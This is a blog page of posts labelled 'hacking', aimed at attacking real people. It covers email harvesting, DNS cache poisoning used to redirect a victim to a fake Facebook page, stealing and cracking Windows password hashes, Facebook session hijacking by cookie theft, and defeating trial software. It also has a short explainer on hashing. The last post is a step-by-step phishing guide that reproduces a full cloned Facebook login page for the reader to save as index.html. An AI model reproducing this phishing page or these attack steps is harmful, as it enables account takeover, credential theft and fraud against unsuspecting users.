Showing posts with label hacking. Show all posts
Showing posts with label hacking. Show all posts

BackTrack applications for data collection TheHarvester

TheHarvester is atool to collect e-mail accounts, names user and host names or subdomains from different public sources such as search engines and servers PGP key.

This tool is intended to help penetration testers in the early stages of the project, is a very simple, but very effective.

Sources support are:

  • Google - emails, subdomains or hostnames
  • Google Profiles - the names of the employees
  • Bing - emails, subdomains or hostnames, virtual servers
  • Pgp servers, emails, subdomains or hostnames
  • Linkedin - The names of the employees
  • Exalead - emails, hostnames or subdomain


New features:

  • The delays between requests
  • Results XML and HTML export
  • Search a domain in all sources
  • Checker virtual host
  • Shodan computer database integration
  • Enumeration of active (DNS enumeration, reverse DNS lookups, DNS TLD expansion)
  • Chart statistics




cd /pentest/ Enumeration / theharvester
/ Pentest / enumeration / theharvester #. / TheHarvester.py
/ Pentest / enumeration / theharvester #. / Nasa.gov theHarvester.py-d-l 500-b google


Downloads
The latest version can always be found in the reservoirsiteGoogle code: https://code.google.com/p/theharvester

DNS cache poisoning

A domain name server converts human readable domain to numerical values which is used for communication between the client and web. When DNS server receives unauthentic data from the client computer, it is considered poisoned, thus this further lead to supplying unauthentic data to client by server, this unauthentic data is decided by attackers target.
In DNS cache poisoning, cache is poisoned for particular domain name also it can be done for one user or for several users by poisoning the downstream servers. When the cache is poisoned for one particular domain on single DNS than when the client will go on that one particular link it will redirect the client to another address which was injected by attacker to cache poison.
So this type of attack redirect the targeted domain to another targeted domain.
Now it is up to you that how can you use it in your hacking purpose. One simple example is given below. 
Suppose you want to hack facebook account than first create the fake page to which you want to redirect the user. HOW TO MAKE PHISHING PAGE. Now poison the cache for the targeted user so that when user enter facebook.com it will redirect to your fake same looking page and will enter the user name and password.
For poisoning cache you can use cain & abel as shown in below tutorial.  

Cache Poisoning Tutorial   

Cracking Windows Password using ophcrack

If you have forgotten your windows password or you want to hack any accountant system or for any reason you want to hack windows than this is possible by stealing stored hashes in windows. Password created for windows or for any type of security gateway is never stored in its textual form it is always converted to its hash using hash function.
What is hash and how it works?
After stealing hash, convert this hash to password.

Where is your hash? 

1)In the folder C:\windows\system32\config. This folder is locked to all accounts (including an Administrator account) while running, except the special System account.

2)In a SAM file from C:\windows\repair if rdisk has ever run

3)In the registry, under HKEY_LOCAL_MACHINESAM, which is locked to all accounts

Now these hashes cannot directly be used as because of windows file protection system so how can you hack them, here is the way
Boot to any linux OS than copy hash file directly from the above shown paths and convert these hashes to desired password for this conversion many software are present , one of which is rainbowcrack.
If you want to secretly steal password than it is up to you than how can you implement this technique from network.
But all this is not so simple so below is the more easy method by using graphical user interface.  

Here comes the Ophcrack.

Ophcrack


Ophcrack is a free Windows password cracker which can crack almost every password. . It comes with a easy Graphical User Interface so you don’t have to mess with unix terminal for hacking. 
Ophcrack is a software that can be installed directly to victim windows or you can use a Live CD if you cannot boot to windows. Ophcrack use rainbow table for cracking hashes. 


* It runs on every platform.
*  It can crack LM and NTLM hashes.
* Free and open source software (GPL).
* Brute-force module for simple passwords.

Also if you uses direct installation it requires you to download rainbow tables separately but in LIVE CD it is built-in.


HOW TO USE OPHCRACK video tutorial

Facebook Session Hijacking

Session Hijaking can be done by stealing cookies from the ip address. This can be done only when the victim is online because the cookies are deleted when the user is logged out, it is present in the victims browser till the victim is logged in. Cookies can be copied using wireshark software and insert this cookie to your brower using cookie injector.
If you want to try this see the below tutorial but don't try on anybody else just create two virtual machines on your system than try it on these machines as shown below.
Don't know what is virtual machine

FACEBOOK session hijacking tutorial

For this you should download the following requirements
  • Mozilla Fiefox
  • Mozilla addons : Grease Monkey
  • Cain and Abel
  • Wireshark
  • cookie injector
After downloading all these, follow the method given in video tutorial.
Watch video in bigger size for better quality.

Hack Trial Software


If you have software that has the trial period and you want to use it forever without paying any registration fees, than there is no complex hacking required or you don’t have to use any software for unlocking. You don’t have to remove that timer with any type of complexity, you have to just stop the bios timer.

This can be done by very simple hack just remove the cell present in the motherboard. Open up your CPU and find the cell that is shown in below image and take it out, now the timer will not run and your software trial period will hangout forever.
But this method has two drawbacks one is your os clock will also not run and the other one is that some features of your operating system may malfunction such as some websites may not run or your pc may not boot depending on your motherboard, if you have older board than this may work for you.


What is hash ?

When we open an account with any service provider, we are first of all giving them the password to our data. What happens then if it gets exposed in case of software vulnerability.

The problem with password is that you need to store the damn thing so you can access it later on to authenticate a login attempt.If the file is stored somewhere on the disk there will be a way to access it and the game is over.You might be thinking that such a file could be encrypted ,but then you just have another password to save somewhere.

This is where hash came in.

A hash is comparable to a persons fingerprint.A hash of any data is a fixed size "fingerprint" of that data.If we convert a piece of data say a password into hash, then it is not possible to get back the original data. How then such a password will help in securing passwords or even exposing them?

If a data is converted into hash, the computed hash will always be same for that data.Therefore is an application chooses to save password it saves its hash instead of plain text. And whenever user enters password it checks that it matches with the stored hash or not.A weak analogy case would be, you cannot get milk from curd, but you can check if a whit fluid is milk by seeing if it curdles.

A hash is different from encryption, since encryption by its very nature has to be reversible, which hash is not.

During registration system password hash is stored in its database and not the password.

And during login when user enters password its hash is computed and checked with the stored hash and if it matches the user is authenticated.

A popular hashing algorithm is MD5 (Message Digest algorithm 5) which always produces a hash of 128-bit.So for any input, whether is a 3-character or if it is a video file of a few gigabyte,the hash which MD5 will produce will be just 128-bit long.

Another hashing algorithm is SHA-1 (Secure Hash Algorithm) which produces 160-bit hashes.SHA-1 has been superseded by SHA-2, which has has four function that produces hashes of 224bit,256bit,384bit or 512bit.

Hashes can be used for other purposes than just securing passwords.You might be familiar with their usage by download sites for verifying the integrity of download.A download site may provide the MD5 and SHA-1 hash which is used to verify that download is error free,complete and intact. Any difference in hash will mean that the download is corrupted or malicious.Torrent file uses SHA-1 hashes for each piece of content you are downloading. In torrent downloading is done by dividing files is many packets and each packet has its hash. So if there is any type of error only that piece can be re-downloaded.

Hack facebook account password, help me hack facebook

Step 1- Make a fake web page that looks like that of facebook. Here is the code I have given just copy in it to notepad and save it as (index.html)


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML id=facebook lang=en class=" canHaveFixedElements"
onsubmit="null"><HEAD><META content="IE=8.0000" http-equiv="X-UA-Compatible">
<TITLE>Welcome to Facebook - Log In, Sign Up or Learn More</TITLE>
<META charset=utf-8>
<SCRIPT>function envFlush(b){function a(c){for(var d in b)c[d]=b[d];}if(window.require){require.ensure(['Env'],a);}else{Env=window.Env||{};a(Env);}}
envFlush({"ffid1":"IVblhIpx7ivqde11WL_bsg","ffid2":"GttzCcBjUCVjY_rqSzD3yQ","ffid3":"elI3dVR0VExHY0FMWnpsUE82emkzcF9O","ffid4":"OJ9QuR9MiYQgswuxG0Mw2w","ffver":63083,"user":"0","locale":"en_US","method":"GET","ps_limit":5,"ps_ratio":4,"svn_rev":489567,"vip":"69.171.229.11","static_base":"http:\/\/static.ak.fbcdn.net\/","www_base":"http:\/\/www.facebook.com\/","rep_lag":2,"fb_dtsg":"AQCgSp7S","ajaxpipe_token":"AXhmY5jh7ZnoaJUb","lhsh":"jAQFTXG3f","tracking_domain":"http:\/\/pixel.facebook.com","retry_ajax_on_network_error":"1","ajaxpipe_enabled":"1","html5_audio":"1"});</SCRIPT>

<SCRIPT>CavalryLogger=false;window._incorporate_fragment = true;window._script_path = "\/index.php";window._EagleEyeSeed="mdgV";</SCRIPT>
<NOSCRIPT></NOSCRIPT>
<META name=robots content="noodp, noydir">
<META name=description
content=" Facebook is a social utility that connects people with friends and others who work, study and live around them. People use Facebook to keep up with friends, upload an unlimited number of photos, post links and videos, and learn more about the people they meet."><LINK
rel=alternate href="http://www.facebook.com/" media=handheld><LINK
rel="shortcut icon"
href="http://static.ak.fbcdn.net/rsrc.php/yi/r/q9U99v3_saj.ico"><NOSCRIPT></NOSCRIPT><LINK
rel=stylesheet type=text/css
href="http://static.ak.fbcdn.net/rsrc.php/v1/yY/r/KgAfuzPx5D9.css"><LINK
rel=stylesheet type=text/css
href="http://static.ak.fbcdn.net/rsrc.php/v1/yo/r/yxkgLy_Ur_y.css">
<SCRIPT type=text/javascript
src="http://static.ak.fbcdn.net/rsrc.php/v1/yD/r/Lp_Ns2NjfvH.js"></SCRIPT>

<SCRIPT>window.Bootloader && Bootloader.done(["pQ27\/"]);</SCRIPT>

<SCRIPT type=text/javascript
src="http://static.ak.fbcdn.net/rsrc.php/v1/yZ/r/923PvYoemBG.js"
async="true"></SCRIPT>

<SCRIPT type=text/javascript
src="http://static.ak.fbcdn.net/rsrc.php/v1/y9/r/ipKsZUpaofF.js"
async="true"></SCRIPT>

<SCRIPT type=text/javascript
src="http://static.ak.fbcdn.net/rsrc.php/v1/yj/r/VHNYRANLCCy.js"
async="true"></SCRIPT>
</HEAD>
<BODY style="ZOOM: 100%" class="fbIndex UIPage_LoggedOut ie8 win Locale_en_US">
<DIV style="POSITION: absolute; WIDTH: 0px; HEIGHT: 0px; TOP: -10000px"
id=FB_HiddenContainer></DIV>
<DIV id=blueBarHolder class=loggedOut>
<DIV id=blueBar>
<DIV class=loggedout_menubar_container>
<DIV class="clearfix loggedout_menubar"><A class=lfloat
title="Go to Facebook Home" href="/"><IMG class="fb_logo img"
alt="Facebook logo"
src="http://static.ak.fbcdn.net/rsrc.php/v1/yp/r/kk8dc2UJYJ4.png" width=170
height=36></A>
<DIV class=rfloat>
<DIV class=menu_login_container>
<FORM id=login_form onsubmit="return Event.__inlineSubmit(this,event)"
method=POST action=login.php><INPUT
value=?,?,?,?,?,?,? type=hidden name=charset_test><INPUT value=z3QAL type=hidden
name=lsd autocomplete="off"><INPUT id=locale value=en_US type=hidden name=locale
autocomplete="off">
<TABLE cellSpacing=0>
  <TBODY>
  <TR>
    <TD class=html7magic><LABEL for=email>Email</LABEL></TD>
    <TD class=html7magic><LABEL for=pass>Password</LABEL></TD></TR>
  <TR>
    <TD><INPUT id=email class=inputtext tabIndex=1 type=text name=email></TD>
    <TD><INPUT id=pass class=inputtext tabIndex=2 value="" type=password
      name=pass></TD>
    <TD><LABEL class="uiButton uiButtonConfirm" for=u8mwyx_5><INPUT id=u8mwyx_5 tabIndex=4 value="Log In" type=submit></LABEL></TD></TR>
  <TR>
    <TD class=login_form_label_field>
      <DIV class=uiInputLabel><INPUT id=persist_box class=uiInputLabelCheckbox
      tabIndex=3 value=1 type=checkbox name=persistent><LABEL
      for=persist_box>Keep me logged in</LABEL></DIV><INPUT value=0 type=hidden
      name=default_persistent></TD>
    <TD class=login_form_label_field><A
      href="http://www.facebook.com/recover.php" rel=nofollow>Forgot your
      password?</A></TD></TR></TBODY></TABLE><INPUT value=?,?,?,?,?,?,? type=hidden 
name=charset_test><INPUT id=lsd value=z3QAL type=hidden name=lsd
autocomplete="off"><INPUT id=u8mwyx_6 value=-330 type=hidden name=timezone
autocomplete="off"></FORM></DIV></DIV></DIV></DIV></DIV></DIV>
<DIV id=globalContainer>
<DIV id=content class="fb_content clearfix">
<DIV><!-- 2365fa3194ecdc0cab15721ce967a9f8663937c7 -->
<DIV class=gradient>
<DIV class=gradientContent>
<DIV class="clearfix fbIndexFeaturedRegistration">
<DIV class="feature lfloat">
<DIV class="plm fbIndexMap">
<DIV class="plm title fsl fwb fcb">Facebook helps you connect and share with the
people in your life.</DIV>
<DIV class="mtl map"></DIV></DIV></DIV>
<DIV class="signupForm rfloat">
<DIV class="mbm phm headerTextContainer">
<DIV class="mbs mainTitle fsl fwb fcb">Sign Up</DIV>
<DIV class="mbm subtitle fsm fwn fcg">It's free and always will be.</DIV></DIV>
<DIV id=registration_container>
<DIV data-referrer="simple_registration_form"><NOSCRIPT></NOSCRIPT>
<DIV id=simple_registration_container class=simple_registration_container>
<DIV id=reg_box>
<FORM id=reg
onsubmit="return function(event){return false;}.call(this,event)!==false &amp;&amp; Event.__inlineSubmit(this,event)"
method=post name=reg><INPUT value=8466c6978e380b70c90ead7fe65f95cf type=hidden
name=post_form_id autocomplete="off"><INPUT value=z3QAL type=hidden name=lsd
autocomplete="off"><INPUT id=reg_instance value=b4L0TiPGBMgCsLBqr6ZeK8lC
type=hidden name=reg_instance autocomplete="off"><INPUT id=locale value=en_US
type=hidden name=locale autocomplete="off"><INPUT id=terms value=on type=hidden
name=terms autocomplete="off"><INPUT id=abtest_registration_group value=1
type=hidden name=abtest_registration_group autocomplete="off"><INPUT id=referrer
type=hidden name=referrer autocomplete="off"><INPUT id=md5pass type=hidden
name=md5pass autocomplete="off"><INPUT id=validate_mx_records value=1
type=hidden name=validate_mx_records autocomplete="off"><INPUT id=asked_to_login
value=0 type=hidden name=asked_to_login autocomplete="off"><INPUT
id=ab_test_data type=hidden name=ab_test_data autocomplete="off">
<DIV id=reg_form_box class=large_form>
<TABLE class="uiGrid editor" cellSpacing=0 cellPadding=1>
  <TBODY>
  <TR>
    <TD class=label><LABEL for=firstname>First Name:</LABEL></TD>
    <TD>
      <DIV class=field_container><INPUT id=firstname class=inputtext type=text
      name=firstname></DIV></TD></TR>
  <TR>
    <TD class=label><LABEL for=lastname>Last Name:</LABEL></TD>
    <TD>
      <DIV class=field_container><INPUT id=lastname class=inputtext type=text
      name=lastname></DIV></TD></TR>
  <TR>
    <TD class=label><LABEL for=reg_email__>Your Email:</LABEL></TD>
    <TD>
      <DIV class=field_container><INPUT id=reg_email__ class=inputtext type=text
      name=reg_email__></DIV></TD></TR>
  <TR>
    <TD class=label><LABEL for=reg_email_confirmation__>Re-enter
    Email:</LABEL></TD>
    <TD>
      <DIV class=field_container><INPUT id=reg_email_confirmation__
      class=inputtext type=text name=reg_email_confirmation__></DIV></TD></TR>
  <TR>
    <TD class=label><LABEL for=reg_passwd__>New Password:</LABEL></TD>
    <TD>
      <DIV class=field_container><INPUT id=reg_passwd__ class=inputtext value=""
      type=password name=reg_passwd__></DIV></TD></TR>
  <TR>
    <TD class=label>I am:</TD>
    <TD>
      <DIV class=field_container>
      <DIV class=hidden_elem><SELECT><OPTION
        selected></OPTION><OPTION></OPTION></SELECT><SELECT><OPTION
        selected></OPTION><OPTION></OPTION></SELECT></DIV><SELECT id=sex
      class=select name=sex><OPTION selected value=0>Select
        Sex:</OPTION><OPTION value=1>Female</OPTION><OPTION
      value=2>Male</OPTION></SELECT></DIV></TD></TR>
  <TR>
    <TD class=label>Birthday:</TD>
    <TD>
      <DIV class=field_container><SELECT id=birthday_month
      onchange='return run_with(this, ["editor"], function() {editor_date_month_change(this, "birthday_day", "birthday_year");});'
      name=birthday_month><OPTION selected value=-1>Month:</OPTION><OPTION
        value=1>Jan</OPTION><OPTION value=2>Feb</OPTION><OPTION
        value=3>Mar</OPTION><OPTION value=4>Apr</OPTION><OPTION
        value=5>May</OPTION><OPTION value=6>Jun</OPTION><OPTION
        value=7>Jul</OPTION><OPTION value=8>Aug</OPTION><OPTION
        value=9>Sep</OPTION><OPTION value=10>Oct</OPTION><OPTION
        value=11>Nov</OPTION><OPTION value=12>Dec</OPTION></SELECT> <SELECT
      id=birthday_day name=birthday_day><OPTION selected
        value=-1>Day:</OPTION><OPTION value=1>1</OPTION><OPTION
        value=2>2</OPTION><OPTION value=3>3</OPTION><OPTION
        value=4>4</OPTION><OPTION value=5>5</OPTION><OPTION
        value=6>6</OPTION><OPTION value=7>7</OPTION><OPTION
        value=8>8</OPTION><OPTION value=9>9</OPTION><OPTION
        value=10>10</OPTION><OPTION value=11>11</OPTION><OPTION
        value=12>12</OPTION><OPTION value=13>13</OPTION><OPTION
        value=14>14</OPTION><OPTION value=15>15</OPTION><OPTION
        value=16>16</OPTION><OPTION value=17>17</OPTION><OPTION
        value=18>18</OPTION><OPTION value=19>19</OPTION><OPTION
        value=20>20</OPTION><OPTION value=21>21</OPTION><OPTION
        value=22>22</OPTION><OPTION value=23>23</OPTION><OPTION
        value=24>24</OPTION><OPTION value=25>25</OPTION><OPTION
        value=26>26</OPTION><OPTION value=27>27</OPTION><OPTION
        value=28>28</OPTION><OPTION value=29>29</OPTION><OPTION
        value=30>30</OPTION><OPTION value=31>31</OPTION></SELECT> <SELECT
      id=birthday_year
      onchange='return run_with(this, ["editor"], function() {editor_date_month_change("birthday_month","birthday_day",this);});'
      name=birthday_year><OPTION selected value=-1>Year:</OPTION><OPTION
        value=2011>2011</OPTION><OPTION value=2010>2010</OPTION><OPTION
        value=2009>2009</OPTION><OPTION value=2008>2008</OPTION><OPTION
        value=2007>2007</OPTION><OPTION value=2006>2006</OPTION><OPTION
        value=2005>2005</OPTION><OPTION value=2004>2004</OPTION><OPTION
        value=2003>2003</OPTION><OPTION value=2002>2002</OPTION><OPTION
        value=2001>2001</OPTION><OPTION value=2000>2000</OPTION><OPTION
        value=1999>1999</OPTION><OPTION value=1998>1998</OPTION><OPTION
        value=1997>1997</OPTION><OPTION value=1996>1996</OPTION><OPTION
        value=1995>1995</OPTION><OPTION value=1994>1994</OPTION><OPTION
        value=1993>1993</OPTION><OPTION value=1992>1992</OPTION><OPTION
        value=1991>1991</OPTION><OPTION value=1990>1990</OPTION><OPTION
        value=1989>1989</OPTION><OPTION value=1988>1988</OPTION><OPTION
        value=1987>1987</OPTION><OPTION value=1986>1986</OPTION><OPTION
        value=1985>1985</OPTION><OPTION value=1984>1984</OPTION><OPTION
        value=1983>1983</OPTION><OPTION value=1982>1982</OPTION><OPTION
        value=1981>1981</OPTION><OPTION value=1980>1980</OPTION><OPTION
        value=1979>1979</OPTION><OPTION value=1978>1978</OPTION><OPTION
        value=1977>1977</OPTION><OPTION value=1976>1976</OPTION><OPTION
        value=1975>1975</OPTION><OPTION value=1974>1974</OPTION><OPTION
        value=1973>1973</OPTION><OPTION value=1972>1972</OPTION><OPTION
        value=1971>1971</OPTION><OPTION value=1970>1970</OPTION><OPTION
        value=1969>1969</OPTION><OPTION value=1968>1968</OPTION><OPTION
        value=1967>1967</OPTION><OPTION value=1966>1966</OPTION><OPTION
        value=1965>1965</OPTION><OPTION value=1964>1964</OPTION><OPTION
        value=1963>1963</OPTION><OPTION value=1962>1962</OPTION><OPTION
        value=1961>1961</OPTION><OPTION value=1960>1960</OPTION><OPTION
        value=1959>1959</OPTION><OPTION value=1958>1958</OPTION><OPTION
        value=1957>1957</OPTION><OPTION value=1956>1956</OPTION><OPTION
        value=1955>1955</OPTION><OPTION value=1954>1954</OPTION><OPTION
        value=1953>1953</OPTION><OPTION value=1952>1952</OPTION><OPTION
        value=1951>1951</OPTION><OPTION value=1950>1950</OPTION><OPTION
        value=1949>1949</OPTION><OPTION value=1948>1948</OPTION><OPTION
        value=1947>1947</OPTION><OPTION value=1946>1946</OPTION><OPTION
        value=1945>1945</OPTION><OPTION value=1944>1944</OPTION><OPTION
        value=1943>1943</OPTION><OPTION value=1942>1942</OPTION><OPTION
        value=1941>1941</OPTION><OPTION value=1940>1940</OPTION><OPTION
        value=1939>1939</OPTION><OPTION value=1938>1938</OPTION><OPTION
        value=1937>1937</OPTION><OPTION value=1936>1936</OPTION><OPTION
        value=1935>1935</OPTION><OPTION value=1934>1934</OPTION><OPTION
        value=1933>1933</OPTION><OPTION value=1932>1932</OPTION><OPTION
        value=1931>1931</OPTION><OPTION value=1930>1930</OPTION><OPTION
        value=1929>1929</OPTION><OPTION value=1928>1928</OPTION><OPTION
        value=1927>1927</OPTION><OPTION value=1926>1926</OPTION><OPTION
        value=1925>1925</OPTION><OPTION value=1924>1924</OPTION><OPTION
        value=1923>1923</OPTION><OPTION value=1922>1922</OPTION><OPTION
        value=1921>1921</OPTION><OPTION value=1920>1920</OPTION><OPTION
        value=1919>1919</OPTION><OPTION value=1918>1918</OPTION><OPTION
        value=1917>1917</OPTION><OPTION value=1916>1916</OPTION><OPTION
        value=1915>1915</OPTION><OPTION value=1914>1914</OPTION><OPTION
        value=1913>1913</OPTION><OPTION value=1912>1912</OPTION><OPTION
        value=1911>1911</OPTION><OPTION value=1910>1910</OPTION><OPTION
        value=1909>1909</OPTION><OPTION value=1908>1908</OPTION><OPTION
        value=1907>1907</OPTION><OPTION value=1906>1906</OPTION><OPTION
        value=1905>1905</OPTION></SELECT></DIV></TD></TR>
  <TR>
    <TD class=label></TD>
    <TD>
      <DIV id=birthday_warning><A title="Click for more information"
      href="/ajax/reg_birthday_help.php" rel=dialog>Why do I need to provide my
      birthday?</A></DIV></TD></TR></TBODY></TABLE>
<DIV class="reg_btn clearfix"><LABEL class="uiButton uiButtonSpecial"
for=u8mwyx_3><INPUT id=u8mwyx_3 onclick=RegistrationBootloader.bootloadAndValidate(); value="Sign Up" type=submit></LABEL><SPAN
style="DISPLAY: none" id=async_status class=async_status><IMG class=img alt=""
src="http://static.ak.fbcdn.net/rsrc.php/v1/yb/r/GsNJNwuI-UM.gif" width=16
height=11></SPAN></DIV></DIV>
<DIV style="DISPLAY: none" id=reg_captcha>
<DIV>
<H2 id=security_check_header>Security Check</H2>
<DIV id=outer_captcha_box>
<DIV id=captcha_box>
<DIV style="DISPLAY: none" id=captcha_response_error class=field_error>This
field is required.</DIV>
<DIV id=captcha class=captcha><INPUT id=captcha_persist_data
value=AZmBOSILTIbrNXqRCJVZLBAPMiB8kA6V-ywsaSMhZNMUgZIwYDlOvdrviSsSAk1z_C9regpQnLHfTSE9o_YQGaLskSOFgyTrAZ90UpwXBNO7u-y3lpWToTnwIkVKJMauvP5G0usAKJQ-HTYsheXutUEdyjFzt_2rfE8npUgaghZi26yW6hDhKk-MYGKtd9p6gy_AuZHqF6LzpnRj5oPzE_1lHvCE-p3M_2ky1QTvjYJKfy5IDuw58MOqXBc4zV4dp_Gu1XLQaDwsy5SUAExqc8761Vrtuqxmi42d4Exff7AMHJAIJTdVj3A6GjJHFoAyk3ZDEmovo9r_-Ms8R_TWjncweRvUtfOhNLZc96IKAFOuog
type=hidden name=captcha_persist_data autocomplete="off">
<DIV>
<DIV style="DISPLAY: none" id=recaptcha_scripts></DIV><INPUT id=captcha_session
value=SPUH_iJDntJZdIUBZzxoEQ type=hidden name=captcha_session
autocomplete="off"><INPUT id=extra_challenge_params
value=authp=nonce.tt.time.new_audio_default&amp;psig=EWl7kcelQxh7g9ZzOJwg2V6sknI&amp;nonce=SPUH_iJDntJZdIUBZzxoEQ&amp;tt=BKQOEb5QB-9Np0G26u12DBm36jY&amp;time=1324647023&amp;new_audio_default=1
type=hidden name=extra_challenge_params autocomplete="off"><INPUT
id=recaptcha_type value=password type=hidden name=recaptcha_type
autocomplete="off">
<DIV class=recaptcha_text>
<DIV class=recaptcha_only_if_image>Enter both words below, separated by a
space.<BR>Can't read the words below? <A id=recaptcha_reload_btn
onclick="Recaptcha.reload(); return false" href="#">Try different words</A> or
<A onclick='Recaptcha.switch_type("audio"); return false;' href="#">an audio
captcha</A>.</DIV>
<DIV style="DISPLAY: none" class=recaptcha_only_if_audio>Please enter the words
or numbers you hear.<BR><A id=recaptcha_reload_btn
onclick="Recaptcha.reload(); return false" href="#">Try different words</A> or
<A class=recaptcha_only_if_audio
onclick='Recaptcha.switch_type("image"); return false;' href="#">back to
text</A>.</DIV></DIV><SPAN id=recaptcha_play_audio></SPAN>
<DIV class=audiocaptcha></DIV>
<DIV id=recaptcha_image class=captcha_image></DIV>
<DIV id=recaptcha_loading>Loading... <IMG style="WIDTH: 16px; HEIGHT: 11px"
class="captcha_loading img" alt=""
src="http://static.ak.fbcdn.net/rsrc.php/v1/yb/r/GsNJNwuI-UM.gif"></DIV></DIV>
<DIV class=captcha_input><LABEL>Text in the box:</LABEL>
<DIV class=field_container><INPUT id=captcha_response type=text
name=captcha_response autocomplete="off"></DIV><A id=u8mwyx_2 class=mlm
onclick="JSCC.get('j4ef4826fab59c9f697421541').show()" href="#">What's
this?</A></DIV></DIV></DIV></DIV>
<DIV style="DISPLAY: none" id=captcha_buttons class=clearfix>
<DIV id=back_button class=gridCol>
<DIV class=cancel_button_image>&nbsp; </DIV><A id=cancel_button
onclick='return run_with(this, ["registration"], function() {Registration.getInstance().hide_captcha();Registration.getInstance().show_reg_form();});'
href="#">Back</A></DIV>
<DIV id=A_btn_sign_up class=gridCol>
<DIV class="reg_btn clearfix"><LABEL class="big_input uiButton uiButtonSpecial"
for=u8mwyx_4><INPUT id=u8mwyx_4 onclick='setFormTypeABTest($("reg")); Registration.getInstance().validateForm();' value="Sign Up" type=submit></LABEL><SPAN
style="DISPLAY: none" id=captcha_async_status class=async_status><IMG class=img
alt="" src="http://static.ak.fbcdn.net/rsrc.php/v1/yb/r/GsNJNwuI-UM.gif"
width=16 height=11></SPAN></DIV></DIV></DIV></DIV></DIV></FORM>
<DIV style="DISPLAY: none" id=reg_progress>
<DIV id=progress_wrap><IMG class=img alt=""
src="http://static.ak.fbcdn.net/rsrc.php/v1/yb/r/GsNJNwuI-UM.gif" width=16
height=11>
<DIV id=progress_msg>Registering?</DIV></DIV></DIV>
<DIV id=reg_error class=hidden_elem>
<DIV id=reg_error_inner>An error occurred. Please try again.</DIV></DIV>
<DIV id=tos_container class="tos_container hidden_elem">
<P class=legal_tos>By clicking Sign Up, you are indicating that you have read
and agree to the <A href="/legal/terms" rel=nofollow target=_blank>Terms of
Use</A> and <A href="/policy.php" rel=nofollow target=_blank>Privacy
Policy</A>.</P></DIV>
<DIV id=reg_pages_msg class=pagesSection><A href="/pages/create.php">Create a
Page</A> for a celebrity, band or
business.</DIV></DIV></DIV></DIV></DIV></DIV></DIV></DIV></DIV>
<DIV class="mtm locales">
<UL class="uiList uiListHorizontal clearfix localeSelectorList">
  <LI class="uiListItem  uiListHorizontalItemBorder uiListHorizontalItem"><A
  dir=ltr title="English (US)"
  onclick='intl_set_cookie_locale("en_US", "http:\/\/www.facebook.com\/");'
  href="http://www.facebook.com/">English (US)</A></LI>
  <LI class="plm uiListItem  uiListHorizontalItemBorder uiListHorizontalItem"><A
  dir=ltr title=Bengali
  onclick='intl_set_cookie_locale("bn_IN", "http:\/\/bn-in.facebook.com\/");'
  href="http://bn-in.facebook.com/">?????</A></LI>
  <LI class="plm uiListItem  uiListHorizontalItemBorder uiListHorizontalItem"><A
  dir=ltr title=Hindi
  onclick='intl_set_cookie_locale("hi_IN", "http:\/\/hi-in.facebook.com\/");'
  href="http://hi-in.facebook.com/">??????</A></LI>
  <LI class="plm uiListItem  uiListHorizontalItemBorder uiListHorizontalItem"><A
  dir=ltr title=Punjabi
  onclick='intl_set_cookie_locale("pa_IN", "http:\/\/pa-in.facebook.com\/");'
  href="http://pa-in.facebook.com/">??????</A></LI>
  <LI class="plm uiListItem  uiListHorizontalItemBorder uiListHorizontalItem"><A
  dir=ltr title=Tamil
  onclick='intl_set_cookie_locale("ta_IN", "http:\/\/ta-in.facebook.com\/");'
  href="http://ta-in.facebook.com/">?????</A></LI>
  <LI class="plm uiListItem  uiListHorizontalItemBorder uiListHorizontalItem"><A
  dir=ltr title=Telugu
  onclick='intl_set_cookie_locale("te_IN", "http:\/\/te-in.facebook.com\/");'
  href="http://te-in.facebook.com/">??????</A></LI>
  <LI class="plm uiListItem  uiListHorizontalItemBorder uiListHorizontalItem"><A
  dir=ltr title=Malayalam
  onclick='intl_set_cookie_locale("ml_IN", "http:\/\/ml-in.facebook.com\/");'
  href="http://ml-in.facebook.com/">??????</A></LI>
  <LI class="plm uiListItem  uiListHorizontalItemBorder uiListHorizontalItem"><A
  dir=ltr title=Spanish
  onclick='intl_set_cookie_locale("es_LA", "http:\/\/es-la.facebook.com\/");'
  href="http://es-la.facebook.com/">Espa?ol</A></LI>
  <LI class="plm uiListItem  uiListHorizontalItemBorder uiListHorizontalItem"><A
  dir=ltr title="Portuguese (Brazil)"
  onclick='intl_set_cookie_locale("pt_BR", "http:\/\/pt-br.facebook.com\/");'
  href="http://pt-br.facebook.com/">Portugu?s (Brasil)</A></LI>
  <LI class="plm uiListItem  uiListHorizontalItemBorder uiListHorizontalItem"><A
  dir=ltr title="French (France)"
  onclick='intl_set_cookie_locale("fr_FR", "http:\/\/fr-fr.facebook.com\/");'
  href="http://fr-fr.facebook.com/">Fran?ais (France)</A></LI>
  <LI class="plm uiListItem  uiListHorizontalItemBorder uiListHorizontalItem"><A
  class=showMore title="Show more languages"
  href="/ajax/intl/language_dialog.php?uri=http%3A%2F%2Fwww.facebook.com%2F&amp;source=TOP_LOCALES_DIALOG"
  rel=dialog>?</A></LI></UL></DIV></DIV></DIV>
<DIV id=pageFooter data-referrer="page_footer">
<DIV id=contentCurve></DIV>
<DIV id=footerContainer class=clearfix>
<DIV class="mrl lfloat" role=contentinfo>
<DIV class="fsm fwn fcg"><SPAN>Facebook ? 2011</SPAN> ? <A
title="Use Facebook in another language."
href="/ajax/intl/language_dialog.php?uri=http%3A%2F%2Fwww.facebook.com%2F"
rel=dialog>English (US)</A></DIV></DIV>
<DIV class="navigation fsm fwn fcg" role=navigation><A
title="Check out Facebook Mobile."
href="http://www.facebook.com/mobile/?ref=pf">Mobile</A> ? <A
title="Find anyone on the web."
href="http://www.facebook.com/find-friends?ref=pf">Find Friends</A> ? <A
title="Embed a Facebook badge on your website."
href="http://www.facebook.com/badges/?ref=pf">Badges</A> ? <A
title="Browse our people directory."
href="http://www.facebook.com/directory/people/">People</A> ? <A
title="Browse our pages directory."
href="http://www.facebook.com/directory/pages/">Pages</A> ? <A accessKey=8
title="Read our blog, discover the resource center, and find job opportunities."
href="http://www.facebook.com/facebook">About</A> ? <A
title="Advertise on Facebook."
href="http://www.facebook.com/campaign/landing.php?placement=pflo&amp;campaign_id=402047449186&amp;extra_1=auto">Advertising</A>
<A title="Create a Page"
href="http://www.facebook.com/pages/create.php?ref_type=sitefooter">Create a
Page</A> ? <A title="Develop on our platform."
href="http://developers.facebook.com/?ref=pf">Developers</A> ? <A
title="Make your next career move to our awesome company."
href="http://www.facebook.com/careers/?ref=pf">Careers</A> ? <A
title="Learn about your privacy and Facebook."
href="http://www.facebook.com/privacy/explanation">Privacy</A> ? <A accessKey=9
